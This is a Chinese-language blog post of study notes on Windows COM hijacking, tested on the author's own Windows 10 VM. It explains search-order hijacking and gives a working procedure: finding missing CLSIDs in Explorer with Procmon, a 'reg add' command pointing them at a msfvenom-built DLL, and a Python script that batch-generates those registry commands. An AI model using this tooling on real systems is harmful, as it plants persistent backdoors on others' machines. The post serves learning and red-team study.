COM劫持_学习

  1. 前言
  2. COM的由来
  3. COM劫持的说法
  4. 环境
  5. 寻找缺失的CLSID
  6. 参考链接

前言

之前一直没搞明白COM劫持是怎么弄的,今天研究了2个小时左右搞懂了。最后还把Windows10虚拟机搞死了,蛤蛤蛤

COM的由来

COM是开发软件组件的一种方法。组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API。多个COM对象可以连接起来形成应用程序或组件系统。并且组件可以在运行时刻,在不被重新链接或编译应用程序的情况下被卸下或替换掉。Microsoft的许多技术,如ActiveX, DirectX以及OLE等都是基于COM而建立起来的。并且Microsoft的开发人员也大量使用COM组件来定制他们的应用程序及操作系统。

参考链接:https://baike.baidu.com/item/COM%E7%BB%84%E4%BB%B6/3351509?fr=aladdin

COM劫持的说法

缺少的COM

COM对象是注册表中对磁盘上没有实现文件的对象的引用。例如,在注册表项HKCU \ CLSID \ {xxxx} \ InprocServer32 \ Default下,其中{xxxx}是COM对象的相应GUID,您应该找到对文件yyy.dll的引用。如果磁盘上不存在此文件或缺少“(默认)”条目,则请求访问此对象的进程将失败。

劫持后的表现

当劫持了COM组件之后,当某进程调用了这个组件。那么就会触发攻击者所设置的后门

COM搜索顺序劫持

机器范围的COM对象在以下位置注册:

HKEY_LOCAL_MACHINE \ Software \ Classes下

每用户COM对象在以下位置注册:

HKEY_CURRENT_USER \ Software \ Classes下

用户特定的COM对象可以由中等完整性级别的任何进程注册,并且仅对安装它们的用户可见。但是,它们优先于COM子系统中的机器范围对象。COM对象劫持是一种技术,其中恶意软件可以用在其位置加载的恶意用户特定对象替换良性系统范围的COM对象

劫持的分类

1.你拥有一定的权限下直接修改掉能成功加载的CLSID下的InprocServer32的DLL

创建一个恶意的DLL加载正常的DLL后在执行恶意操作

2.寻找缺少的InprocServer32,手动添加

手动添加后,原本找不到CLSID的进程也会找到,从而加载恶意DLL

环境

os:windows 10 1903

工具:Procmon

寻找缺失的CLSID

这里我针对Explorer.exe寻找缺少的CLSID,对Explorer进行过滤配置

寻找到缺少的CLSID

你可以针对这里的当个路径进行测试或者批量测,由于某些不可抗拒的原因我选择的了批量测。批量测试的话将过滤得到的路径保存为CSV

测试的方法:

使用reg添加缺少CLSID路径,设置你要执行的恶意DLL路径

reg add [PATH] /ve /t REG_SZ /d C:\Users\Public\demo.dll /f

然后对CSV进行解析,生成一个bat

#@author:九世
#@file:com_hajacking.py

import csv

class Jiexi(object):
    def __init__(self):
        self.path='demo.CSV'

    def rk(self):
        with open(self.path,'r',encoding='utf-8') as r:
            g=csv.DictReader(r)
            for name in g:
                z=[x for x in name]
                for i in z:
                    if 'HK' in str(name[i]):
                        print('reg add {} /ve /t REG_SZ /d C:\\Users\\Public\\demo.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))

if __name__ == '__main__':
    obj=Jiexi()
    obj.rk()
    print('[!] Administrator run com_hijack.bat,Thanks')

得到一个bat

这里的dll我用msfvenom生成的,这里注意选对位数。上面说的不可抗拒原因是因为我单个测试的时候生成错了位数导致我以为不行,后面生成了x64进行批量。COM劫持的过多把Windows 10弄死了

劫持成功如图:

参考链接

https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/

https://github.com/nccgroup/acCOMplice/blob/master/COM_Hijacking_Techniques_Derbycon2019.pptx

COM劫持的第二种利用方式:

https://www.baidu.com/link?url=2nHrX1Lv7WzjP4EmZTtmX5eszr4BmXGOlhTBpBB48izGijoiU8XV2C1TTeDlLjjCzqIulM1PFpY1_2mJB-jo4q&wd=&eqid=cfe342d40004e915000000065d77f264


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:COM劫持_学习

本文作者:九世

发布时间:2019-09-11, 02:29:34

最后更新:2019-09-11, 02:59:23

原始链接:http://jiushill.github.io/posts/73b20b1d.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录